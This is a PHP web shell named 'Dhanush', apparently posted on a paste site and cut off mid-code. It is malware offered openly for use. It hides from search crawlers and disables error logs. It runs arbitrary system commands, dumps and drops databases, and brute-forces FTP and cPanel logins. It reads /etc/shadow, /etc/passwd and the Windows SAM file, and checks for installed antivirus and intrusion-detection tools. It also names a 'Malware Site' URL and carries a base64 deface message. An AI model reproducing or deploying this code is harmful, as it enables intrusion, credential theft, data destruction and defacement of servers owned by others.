· 9 years ago · Jul 09, 2017, 07:52 PM
1<?php
2//========================================//
3//========+++Dhanush+++==========//
4//========================================//
5//====+++Coded By Arjun+++===//
6//========================================//
7//=====+++An Indian Hacker+++=====//
8//========================================//
9//====Ashvin-2069/Oct-2012====//
10
11// Set Username & Password
12$user = "jack";
13$pass = "jack";
14
15$malsite = "http://fightagent.ru"; // Malware Site
16
17$ind = "WW91IGp1c3QgZ290IGhhY2tlZCAhISEhIQ=="; // "Deface Page" Base64 encoded "You Just Got Hacked !!"
18
19@set_magic_quotes_runtime(0);
20@ini_set('error_log',NULL);
21@ini_set('log_errors',0);
22ob_start();
23error_reporting(0);
24@set_time_limit(0);
25@ini_set('max_execution_time',0);
26@ini_set('output_buffering',0);
27
28if(!empty($_SERVER['HTTP_USER_AGENT']))
29{
30 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
31 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
32 header('HTTP/1.0 404 Not Found');
33 exit; }
34}
35// Dump Database
36if($_GET["action"] == "dumpDB")
37{
38 $self=$_SERVER["PHP_SELF"];
39 if(isset($_COOKIE['dbserver']))
40 {
41 $date = date("Y-m-d");
42 $dbserver = $_COOKIE["dbserver"];
43 $dbuser = $_COOKIE["dbuser"];
44 $dbpass = $_COOKIE["dbpass"];
45 $dbname = $_GET['dbname'];
46 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
47
48 $file = "Dump-$dbname-$date";
49
50 $file="Dump-$dbname-$date.sql";
51 $fp = fopen($file,"w");
52
53 function write($data)
54 {
55 global $fp;
56
57 fwrite($fp,$data);
58
59 }
60 mysql_connect ($dbserver, $dbuser, $dbpass);
61 mysql_select_db($dbname);
62 $tables = mysql_query ("SHOW TABLES");
63 while ($i = mysql_fetch_array($tables))
64 {
65 $i = $i['Tables_in_'.$dbname];
66 $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
67 write($create['Create Table'].";");
68 $sql = mysql_query ("SELECT * FROM ".$i);
69 if (mysql_num_rows($sql)) {
70 while ($row = mysql_fetch_row($sql)) {
71 foreach ($row as $j => $k) {
72 $row[$j] = "'".mysql_escape_string($k)."'";
73 }
74 write("INSERT INTO $i VALUES(".implode(",", $row).");");
75 }
76 }
77 }
78
79 fclose ($fp);
80
81 header("Content-Disposition: attachment; filename=" . $file);
82 header("Content-Type: application/download");
83 header("Content-Length: " . filesize($file));
84 flush();
85
86 $fp = fopen($file, "r");
87 while (!feof($fp))
88 {
89 echo fread($fp, 65536);
90 flush();
91 }
92 fclose($fp);
93 }
94}
95function shellstyle()
96{
97 echo "<style type=\"text/css\">
98<!--
99
100body,td,th {
101 color: #FF0000;
102 font-size: 14px;
103}
104input.but {
105 background-color:#000000;
106 color:#FF0000;
107 border : 1px solid #1B1B1B;
108}
109a:link {
110 color: #00FF00;
111 text-decoration:none;
112 font-weight:500;
113}
114a:hover {
115 color:#00FF00;
116 text-decoration:underline;
117}
118font.txt
119{
120 color: #00FF00;
121 text-decoration:none;
122 font-size:14px;
123}
124font.mainmenu
125{
126 color:#FF0000;
127 text-decoration:none;
128 font-size:14px;
129}
130a:visited {
131 color: #006600;
132}
133input.box
134{
135 background-color:#0C0C0C;
136 color: lime;
137 border : 1px solid #1B1B1B;
138 -moz-border-radius:6px;
139 width:400;
140 border-radius:6px;
141}
142input.sbox
143{
144 background-color:#0C0C0C;
145 color: lime;
146 border : 1px solid #1B1B1B;
147 -moz-border-radius:6px;
148 width:180;
149 border-radius:6px;
150}
151select.sbox
152{
153 background-color:#0C0C0C;
154 color: lime;
155 border : 1px solid #1B1B1B;
156 -moz-border-radius:6px;
157 width:180;
158 border-radius:6px;
159}
160select.box
161{
162 background-color:#0C0C0C;
163 color: lime;
164 border : 1px solid #1B1B1B;
165 -moz-border-radius:6px;
166 width:400;
167 border-radius:6px;
168}
169
170textarea.box
171{
172 border : 3px solid #111;
173 background-color:#161616;
174 color : lime;
175 margin-top: 10px;
176 -moz-border-radius:7px;
177 border-radius:7px;
178}
179body {
180 background-color:#000000;
181}
182.myphp table
183{
184 width:100%;
185 padding:18px 10px;
186 border : 1px solid #1B1B1B;
187}
188.myphp td
189{
190 background:#111111;
191 color:#00ff00;
192 padding:6px 8px;
193 border-bottom:1px solid #222222;
194 font-size:14px;
195}
196.myphp th, th
197{
198 background:#181818;
199
200}
201-->
202</style>";
203}
204if(isset($_COOKIE['hacked']) && $_COOKIE['hacked']==md5($pass))
205{
206 $self=$_SERVER["PHP_SELF"];
207 $os = "N/D";
208 $bdmessage = null;
209 $dir = getcwd();
210
211 if(stristr(php_uname(),"Windows"))
212 {
213 $SEPARATOR = '\\';
214 $os = "Windows";
215 $directorysperator="\\";
216 }
217 else if(stristr(php_uname(),"Linux"))
218 {
219 $os = "Linux";
220 $directorysperator='/';
221 }
222 function Trail($d,$directsperator)
223 {
224 $d=explode($directsperator,$d);
225 array_pop($d);
226 array_pop($d);
227 $str=implode($d,$directsperator);
228 return $str;
229 }
230
231 function ftp_check($host,$user,$pass,$timeout)
232 {
233 $ch = curl_init();
234 curl_setopt($ch, CURLOPT_URL, "ftp://$host");
235 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
236 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
237 curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
238 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
239 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
240 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
241 $data = curl_exec($ch);
242 if ( curl_errno($ch) == 28 )
243 {
244 print "<center><b>
245 Error : Connection Timeout.
246 Please Check The Target Hostname .</b></center>";exit;
247 }
248 else if ( curl_errno($ch) == 0 )
249 {
250 print "<center><b>[~]</b><font class=txt>
251 Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
252 and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b></center><br><br>";
253 }
254 curl_close($ch);
255 }
256
257 function cpanel_check($host,$user,$pass,$timeout)
258 {
259 global $cpanel_port;
260 $ch = curl_init();
261 curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
262 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
263 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
264 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
265 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
266 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
267 $data = curl_exec($ch);
268 if ( curl_errno($ch) == 28 )
269 { print "<center><b>Error : Connection Timeout.
270 Please Check The Target Hostname.</b></center>";exit;}
271 else if ( curl_errno($ch) == 0 ){
272 print "<ecnter><b>[~]</b><font class=txt><b>
273
274 Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
275 and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b></center><br><br>";
276 }
277 curl_close($ch);
278 }
279
280 // Database functions
281 function listdatabase()
282 {
283 $self=$_SERVER["PHP_SELF"];
284 ?>
285 <br>
286 <form>
287 <table>
288 <tr>
289 <td><input type="text" class="box" name="dbname"></td>
290 <td><input type="button" onClick="viewtables('createDB',dbname.value)" value=" Create Database " class="but"></td>
291 </tr>
292 </table>
293 </form>
294 <br>
295 <?php
296 $mysqlHandle = mysql_connect ($_COOKIE['dbserver'], $_COOKIE['dbuser'], $_COOKIE['dbpass']);
297 $result = mysql_query("SHOW DATABASE");
298 echo "<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>\n";
299
300 $pDB = mysql_list_dbs( $mysqlHandle );
301 $num = mysql_num_rows( $pDB );
302 for( $i = 0; $i < $num; $i++ )
303 {
304 $dbname = mysql_dbname( $pDB, $i );
305 mysql_select_db($dbname,$mysqlHandle);
306 $result = mysql_query("SHOW TABLES");
307 $num_of_tables = mysql_num_rows($result);
308 echo "<tr>\n";
309 echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\"><font size=3>$dbname</font></a> ($num_of_tables)</td>\n";
310 echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\">Tables</a></td>\n";
311 echo "<td><a href=# onClick=\"viewtables('dropDB','$dbname')\">Drop</a></td>\n";
312 echo "<td><a href='$self?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
313 echo "</tr>\n";
314 }
315 echo "</table>\n";
316 mysql_close($mysqlHandle);
317 }
318
319 function listtable()
320 {
321 $self=$_SERVER["PHP_SELF"];
322 $dbserver = $_COOKIE["dbserver"];
323 $dbuser = $_COOKIE["dbuser"];
324 $dbpass = $_COOKIE["dbpass"];
325 $dbname = $_GET['dbname'];
326 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
327 ?>
328 <br><br>
329 <form>
330 <table>
331
332 <tr>
333 <td><input type="text" class="box" name="tablename"></td>
334 <td><input type="button" onClick="viewtables('createtable','<?php echo $_GET['dbname'];?>')" value=" Create Table " name="createmydb" class="but"></td>
335 </tr>
336 </table>
337
338 <br>
339 <form>
340 <table>
341 <tr>
342 <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
343 </tr>
344 <tr>
345 <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname'];?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
346 </tr>
347 </table>
348 </form>
349
350 <?php
351
352 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
353
354 mysql_select_db($dbname);
355 $pTable = mysql_list_tables( $dbname );
356
357 if( $pTable == 0 ) {
358 $msg = mysql_error();
359 echo "<h3>Error : $msg</h3><p>\n";
360 return;
361 }
362 $num = mysql_num_rows( $pTable );
363
364 echo "<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>\n";
365
366 for( $i = 0; $i < $num; $i++ )
367 {
368 $tablename = mysql_tablename( $pTable, $i );
369 $result = mysql_query("select * from $tablename");
370 $num_rows = mysql_num_rows($result);
371 echo "<tr>\n";
372 echo "<td>\n";
373 echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\"><font size=3>$tablename</font></a> ($num_rows)\n";
374 echo "</td>\n";
375 echo "<td>\n";
376 echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\">Schema</a>\n";
377 echo "</td>\n";
378 echo "<td>\n";
379 echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\">Data</a>\n";
380 echo "</td>\n";
381 echo "<td>\n";
382 echo "<a href=# onClick=\"viewtables('empty','$dbname','$tablename')\">Empty</a>\n";
383 echo "</td>\n";
384 echo "<td>\n";
385 echo "<a href=# onClick=\"viewtables('dropTable','$dbname','$tablename')\">Drop</a>\n";
386 echo "</td>\n";
387 echo "</tr>\n";
388 }
389
390 echo "</table></form>";
391 mysql_close($mysqlHandle);
392 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
393 }
394
395
396 function paramexe($n, $v)
397 {
398 $v = trim($v);
399 if($v)
400 {
401 echo '<span><font size=3>' . $n . ': </font></span>';
402 if(strpos($v, "\n") === false)
403 echo '<font size=2>' . $v . '</font><br>';
404 else
405 echo '<pre class=ml1><font class=txt size=3>' . $v . '</font></pre>';
406 }
407 }
408
409
410
411 function rrmdir($dir)
412 {
413 if (is_dir($dir)) // ensures that we actually have a directory
414 {
415 $objects = scandir($dir); // gets all files and folders inside
416 foreach ($objects as $object)
417 {
418 if ($object != '.' && $object != '..')
419 {
420 if (is_dir($dir . '/' . $object))
421 {
422 // if we find a directory, do a recursive call
423 rrmdir($dir . '/' . $object);
424 }
425 else
426 {
427 // if we find a file, simply delete it
428 unlink($dir . '/' . $object);
429 }
430 }
431 }
432 // the original directory is now empty, so delete it
433 rmdir($dir);
434 }
435 }
436
437 function which($pr)
438 {
439 $path = execmd("which $pr");
440 if(!empty($path))
441 return trim($path);
442 else
443 return trim($pr);
444 }
445
446 function magicboom($text)
447 {
448 if (!get_magic_quotes_gpc())
449 return $text;
450 return stripslashes($text);
451 }
452
453function execmd($cmd,$d_functions="None")
454{
455 if($d_functions=="None")
456 {
457 $ret=passthru($cmd);
458 return $ret;
459 }
460 $funcs=array("shell_exec","exec","passthru","system","popen","proc_open");
461 $d_functions=str_replace(" ","",$d_functions);
462 $dis_funcs=explode(",",$d_functions);
463 foreach($funcs as $safe)
464 {
465 if(!in_array($safe,$dis_funcs))
466 {
467 if($safe=="exec")
468 {
469 $ret=@exec($cmd);
470 $ret=join("\n",$ret);
471 return $ret;
472 }
473 elseif($safe=="system")
474 {
475 $ret=@system($cmd);
476 return $ret;
477 }
478 elseif($safe=="passthru")
479 {
480 $ret=@passthru($cmd);
481 return $ret;
482 }
483 elseif($safe=="shell_exec")
484 {
485 $ret=@shell_exec($cmd);
486 return $ret;
487 }
488 elseif($safe=="popen")
489 {
490 $ret=@popen("$cmd",'r');
491 if(is_resource($ret))
492 {
493 while(@!feof($ret))
494 $read.=@fgets($ret);
495 @pclose($ret);
496 return $read;
497 }
498 return -1;
499 }
500 elseif($safe="proc_open")
501 {
502 $cmdpipe=array(
503 0=>array('pipe','r'),
504 1=>array('pipe','w')
505 );
506 $resource=@proc_open($cmd,$cmdpipe,$pipes);
507 if(@is_resource($resource))
508 {
509 while(@!feof($pipes[1]))
510 $ret.=@fgets($pipes[1]);
511 @fclose($pipes[1]);
512 @proc_close($resource);
513 return $ret;
514 }
515 return -1;
516 }
517 }
518 }
519 return -1;
520}
521
522 function getDisabledFunctions()
523 {
524 if(!ini_get('disable_functions'))
525 {
526 return "None";
527 }
528 else
529 {
530 return @ini_get('disable_functions');
531 }
532 }
533
534 function getFilePermissions($file)
535 {
536 $perms = fileperms($file);
537
538 if (($perms & 0xC000) == 0xC000) {
539 // Socket
540 $info = 's';
541 } elseif (($perms & 0xA000) == 0xA000) {
542 // Symbolic Link
543 $info = 'l';
544 } elseif (($perms & 0x8000) == 0x8000) {
545 // Regular
546 $info = '-';
547 } elseif (($perms & 0x6000) == 0x6000) {
548 // Block special
549 $info = 'b';
550 } elseif (($perms & 0x4000) == 0x4000) {
551 // Directory
552 $info = 'd';
553 } elseif (($perms & 0x2000) == 0x2000) {
554 // Character special
555 $info = 'c';
556 } elseif (($perms & 0x1000) == 0x1000) {
557 // FIFO pipe
558 $info = 'p';
559 } else {
560 // Unknown
561 $info = 'u';
562 }
563
564 // Owner
565 $info .= (($perms & 0x0100) ? 'r' : '-');
566 $info .= (($perms & 0x0080) ? 'w' : '-');
567 $info .= (($perms & 0x0040) ?
568 (($perms & 0x0800) ? 's' : 'x' ) :
569 (($perms & 0x0800) ? 'S' : '-'));
570
571 // Group
572 $info .= (($perms & 0x0020) ? 'r' : '-');
573 $info .= (($perms & 0x0010) ? 'w' : '-');
574 $info .= (($perms & 0x0008) ?
575 (($perms & 0x0400) ? 's' : 'x' ) :
576 (($perms & 0x0400) ? 'S' : '-'));
577
578 // World
579 $info .= (($perms & 0x0004) ? 'r' : '-');
580 $info .= (($perms & 0x0002) ? 'w' : '-');
581 $info .= (($perms & 0x0001) ?
582 (($perms & 0x0200) ? 't' : 'x' ) :
583 (($perms & 0x0200) ? 'T' : '-'));
584
585 return $info;
586}
587 function filepermscolor($filename)
588 {
589 if(!@is_readable($filename))
590 return "<font color=\"#FF0000\">".getFilePermissions($filename)."</font>";
591 else if(!@is_writable($filename))
592 return "<font color=\"#FFFFFF\">".getFilePermissions($filename)."</font>";
593 else
594 return "<font color=\"#00FF00\">".getFilePermissions($filename)."</font>";
595 }
596
597 function yourip()
598 {
599 echo $_SERVER["REMOTE_ADDR"];
600 }
601 function phpver()
602 {
603 $pv=@phpversion();
604 echo $pv;
605 }
606 function magic_quote()
607 {
608 echo get_magic_quotes_gpc()?"<font class=txt>ON</font>":"<font color='red'>OFF</font>";
609 }
610 function serverip()
611 {
612 echo getenv('SERVER_ADDR');
613 }
614 function serverport()
615 {
616 echo $_SERVER['SERVER_PORT'];
617 }
618 function safe()
619 {
620 global $sm;
621 return $sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF";
622 }
623 function serveradmin()
624 {
625 echo $_SERVER['SERVER_ADMIN'];
626 }
627 function systeminfo()
628 {
629 echo php_uname();
630 }
631 function curlinfo()
632 {
633 echo function_exists('curl_version')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
634 }
635 function oracleinfo()
636 {
637 echo function_exists('ocilogon')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
638 }
639 function mysqlinfo()
640 {
641 echo function_exists('mysql_connect')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
642 }
643 function mssqlinfo()
644 {
645 echo function_exists('mssql_connect')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
646 }
647 function postgresqlinfo()
648 {
649 echo function_exists('pg_connect')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
650 }
651 function softwareinfo()
652 {
653 echo getenv("SERVER_SOFTWARE");
654 }
655 function download()
656 {
657 $frd=$_GET['download'];
658 $prd=explode("/",$frd);
659 for($i=0;$i<sizeof($prd);$i++)
660 {
661 $nfd=$prd[$i];
662 }
663 @ob_clean();
664 header("Content-type: application/octet-stream");
665 header("Content-length: ".filesize($nfd));
666 header("Content-disposition: attachment; filename=\"".$nfd."\";");
667 readfile($nfd);
668
669 exit;
670
671 }
672
673 function HumanReadableFilesize($size)
674 {
675 $mod = 1024;
676 $units = explode(' ','B KB MB GB TB PB');
677 for ($i = 0; $size > $mod; $i++)
678 {
679 $size /= $mod;
680 }
681 return round($size, 2) . ' ' . $units[$i];
682 }
683
684 function showDrives()
685 {
686 global $self;
687 foreach(range('A','Z') as $drive)
688 {
689 if(is_dir($drive.':\\'))
690 {
691 $myd = $drive.":\\";
692 ?>
693 <a href=javascript:void(0) onClick="changedir('dir','<?php echo addslashes($myd); ?>')">
694 <?php echo $myd; ?>
695 </a>
696 <?php
697 }
698 }
699 }
700 function diskSpace()
701 {
702 return disk_total_space("/");
703 }
704 function freeSpace()
705 {
706 return disk_free_space("/");
707 }
708
709 function thiscmd($p)
710 {
711 $path = myexe('which ' . $p);
712 if(!empty($path))
713 return $path;
714 return false;
715 }
716
717 function mysecinfo()
718 {
719 function myparam($n, $v)
720 {
721 $v = trim($v);
722 if($v)
723 {
724 echo '<span><font color =red size=3>' . $n . ': </font></span>';
725 if(strpos($v, "\n") === false)
726 echo '<font color =lime size=3>' . $v . '</font><br>';
727 else
728 echo '<pre class=ml1><font color =lime size=3>' . $v . '</font></pre>';
729 }
730 }
731
732 myparam('Server software', @getenv('SERVER_SOFTWARE'));
733 if(function_exists('apache_get_modules'))
734 myparam('Loaded Apache modules', implode(', ', apache_get_modules()));
735 myparam('Open base dir', @ini_get('open_basedir'));
736 myparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
737 myparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
738 $temp=array();
739 if(function_exists('mysql_get_client_info'))
740 $temp[] = "MySql (".mysql_get_client_info().")";
741 if(function_exists('mssql_connect'))
742 $temp[] = "MSSQL";
743 if(function_exists('pg_connect'))
744 $temp[] = "PostgreSQL";
745 if(function_exists('oci_connect'))
746 $temp[] = "Oracle";
747 myparam('Supported databases', implode(', ', $temp));
748 echo '<br>';
749
750 if($GLOBALS['os'] == 'Linux') {
751 myparam('Distro : ', myexe("cat /etc/*-release"));
752 myparam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href=javascript:void(0) onClick=\"getmydata('passwd')\">[view]</a>":'no');
753 myparam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href=javascript:void(0) onClick=\"getmydata('shadow')\">[view]</a>":'no');
754 myparam('OS version', @file_get_contents('/proc/version'));
755 myparam('Distr name', @file_get_contents('/etc/issue.net'));
756 myparam('Where is Perl?', myexe('whereis perl'));
757 myparam('Where is Python?', myexe('whereis python'));
758 myparam('Where is gcc?', myexe('whereis gcc'));
759 myparam('Where is apache?', myexe('whereis apache'));
760 myparam('CPU?', myexe('cat /proc/cpuinfo'));
761 myparam('RAM', myexe('free -m'));
762 myparam('Mount options', myexe('cat /etc/fstab'));
763 myparam('User Limits', myexe('ulimit -a'));
764
765
766 if(!$GLOBALS['safe_mode']) {
767 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
768 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
769 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
770 echo '<br>';
771 $temp=array();
772 foreach ($userful as $item)
773 if(thiscmd($item))
774 $temp[] = $item;
775 myparam('Userful', implode(', ',$temp));
776 $temp=array();
777 foreach ($danger as $item)
778 if(thiscmd($item))
779 $temp[] = $item;
780 myparam('Danger', implode(', ',$temp));
781 $temp=array();
782 foreach ($downloaders as $item)
783 if(thiscmd($item))
784 $temp[] = $item;
785 myparam('Downloaders', implode(', ',$temp));
786 echo '<br/>';
787 myparam('HDD space', myexe('df -h'));
788 myparam('Hosts', @file_get_contents('/etc/hosts'));
789
790 }
791 } else {
792 $repairsam = addslashes($_SERVER["WINDIR"]."\\repair\\sam");
793 $hostpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\hosts");
794 $netpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\\networks");
795 $sampath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\lmhosts.sam");
796 echo "<font size=3>Password File : </font><a href=".$_SERVER['PHP_SELF']."?download=" . $repairsam ."><b><font class=txt size=3>Download password file</font></b></a><br>";
797 echo "<font size=3>Config Files : </font><a href=javascript:void(0) onClick=\"fileaction('open','$hostpath')\"><b><font class=txt size=3>[ Hosts ]</font></b></a> <a href=javascript:void(0) onClick=\"fileaction('open','$netpath')\"><b><font class=txt size=3>[ Local Network Map ]</font></b></a> <a href=javascript:void(0) onClick=\"fileaction('open','$sampath')\"><b><font class=txt size=3>[ lmhosts ]</font></b></a><br>";
798 $base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
799 echo "<font size=3>Open Base Dir : </font><font class=txt size=3>" . $base . "</font><br>";
800 myparam('OS Version',myexe('ver'));
801 myparam('Account Settings',myexe('net accounts'));
802 myparam('User Accounts',myexe('net user'));
803 }
804 echo '</div>';
805 }
806
807
808
809 function myexe($in)
810 {
811 $out = '';
812 if (function_exists('exec')) {
813 @exec($in,$out);
814 $out = @join("\n",$out);
815 } elseif (function_exists('passthru')) {
816 ob_start();
817 @passthru($in);
818 $out = ob_get_clean();
819 } elseif (function_exists('system')) {
820 ob_start();
821 @system($in);
822 $out = ob_get_clean();
823 } elseif (function_exists('shell_exec')) {
824 $out = shell_exec($in);
825 } elseif (is_resource($f = @popen($in,"r"))) {
826 $out = "";
827 while(!@feof($f))
828 $out .= fread($f,1024);
829 pclose($f);
830 }
831 return $out;
832}
833
834 function exec_all($command)
835 {
836
837 $output = '';
838 if(function_exists('exec'))
839 {
840 exec($command,$output);
841 $output = join("\n",$output);
842 }
843
844 else if(function_exists('shell_exec'))
845 {
846 $output = shell_exec($command);
847 }
848
849 else if(function_exists('popen'))
850 {
851 $handle = popen($command , "r"); // Open the command pipe for reading
852 if(is_resource($handle))
853 {
854 if(function_exists('fread') && function_exists('feof'))
855 {
856 while(!feof($handle))
857 {
858 $output .= fread($handle, 512);
859 }
860 }
861 else if(function_exists('fgets') && function_exists('feof'))
862 {
863 while(!feof($handle))
864 {
865 $output .= fgets($handle,512);
866 }
867
868
869
870 }
871 }
872 pclose($handle);
873 }
874
875
876 else if(function_exists('system'))
877 {
878 ob_start(); //start output buffering
879 system($command);
880 $output = ob_get_contents(); // Get the ouput
881 ob_end_clean(); // Stop output buffering
882 }
883
884 else if(function_exists('passthru'))
885 {
886 ob_start(); //start output buffering
887 passthru($command);
888 $output = ob_get_contents(); // Get the ouput
889 ob_end_clean(); // Stop output buffering
890 }
891
892 else if(function_exists('proc_open'))
893 {
894 $descriptorspec = array(
895 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
896 );
897 $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
898 if(is_resource($handle))
899 {
900 if(function_exists('fread') && function_exists('feof'))
901 {
902 while(!feof($pipes[1]))
903 {
904 $output .= fread($pipes[1], 512);
905 }
906 }
907 else if(function_exists('fgets') && function_exists('feof'))
908 {
909 while(!feof($pipes[1]))
910 {
911 $output .= fgets($pipes[1],512);
912 }
913 }
914 }
915 pclose($handle);
916 }
917
918 return(htmlspecialchars($output));
919
920}
921
922$basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"<font class=txt>ON</font>":"<font color='red'>OFF</font>";
923$etc_passwd=@is_readable("/etc/passwd")?"Yes":"No";
924
925function getOGid($value)
926{
927 if(!function_exists('posix_getegid')) {
928 $user = @get_current_user();
929 $uid = @getmyuid();
930 $gid = @getmygid();
931 $group = "?";
932 $owner = $uid . "/". $gid;
933 return $owner;
934 } else {
935 $name=@posix_getpwuid(@fileowner($value));
936 $group=@posix_getgrgid(@filegroup($value));
937 $owner = $name['name']. " / ". $group['name'];
938 return $owner;
939 }
940}
941
942function mainfun($dir)
943{
944 global $ind, $directorysperator,$os;
945
946 $mydir = basename(dirname(__FILE__));
947 $pdir = str_replace($mydir,"",$dir);
948 $pdir = str_replace("/","",$dir);
949
950 $files = array();
951 $dirs = array();
952
953 $odir=opendir($dir);
954 while($file = readdir($odir))
955 {
956 if(is_dir($dir.'/'.$file))
957 {
958 $dirs[]=$file;
959 }
960 else
961 {
962 $files[]=$file;
963 }
964 }
965 $countfiles = count($dirs) + count($files);
966 $dircount = count($dirs);
967 $dircount = $dircount-2;
968 $myfiles = array_merge($dirs,$files);
969 $i = 0;
970 if(is_dir($dir))
971 {
972 if(scandir($dir) === false)
973 echo "<center><font size=3>Directory isn't readable</font></center>";
974 else
975 {
976?><form method="post" id="myform" name="myform">
977 <table id="maintable" style="width:100%;" align="center" cellpadding="3">
978 <tr><td colspan="7"><center><div id="showmydata"></div></center></td></tr>
979 <tr style="background-color:#0C0C0C;"><td colspan="8" align="center"><font size="3">Listing folder <?php echo $dir; ?></font> (<?php echo $dircount.' Dirs And '.count($files).' Files'; ?>)</td>
980 <tr style="background-color:#0C0C0C; height:12px;">
981 <th>Name</th>
982 <th>Size</th>
983 <th>Permissions</th>
984 <?php if($os != "Windows"){ echo "<th>Owner / Group</th>"; } ?>
985 <th>Modification Date</th>
986 <th>Rename</th>
987 <th>Download</th>
988 <th style="width:2%;">Action</th>
989 </tr>
990 <?php
991 foreach($myfiles as $val)
992 {
993 $vv = addslashes($dir . $directorysperator . $val);
994 $i++;
995
996 if($val == ".")
997 {
998
999 ?><tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'"><td class='info'><a href=javascript:void(0) onClick="changedir('dir','<?php echo addslashes($dir); ?>')"><font class=txt>[ . ]</font></a></td><td><font size=2>CURDIR</font></td>
1000 <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir); ?></a></td>
1001
1002 <?php if($os != 'Windows')
1003 {
1004 echo "<td align=center><font size=2>";
1005 echo getOGid($dir)."</font></td>";
1006 }
1007 ?>
1008
1009 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($vv)); ?></font></td>
1010 <td></td><td></td><td></td></</tr><?php
1011
1012 }
1013 else if($val == "..")
1014 {
1015 $val = Trail($dir . $directorysperator . $val,$directorysperator);
1016 $vv = addslashes($val);
1017 if(empty($vv))
1018 $vv = "/"; ?>
1019 <tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'"><td class='info'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')"><font class=txt>[ .. ]</font></a></td><td><font size=2>UPDIR</font></td>
1020 <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($val); ?></a></td>
1021 <?php if($os != 'Windows')
1022 {
1023 echo "<td align=center><font size=2>";
1024 echo getOGid($val)."</font></td>";
1025
1026 } ?>
1027 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($val)); ?></font></td>
1028 <td></td><td></td><td></td></tr><?php continue;
1029 }
1030 else if(is_dir($vv))
1031 {
1032 ?>
1033 <tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'">
1034 <td class='dir'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')">[ <?php echo $val; ?> ]</a></td>
1035 <td class='info'><font size=2>DIR</font></td>
1036
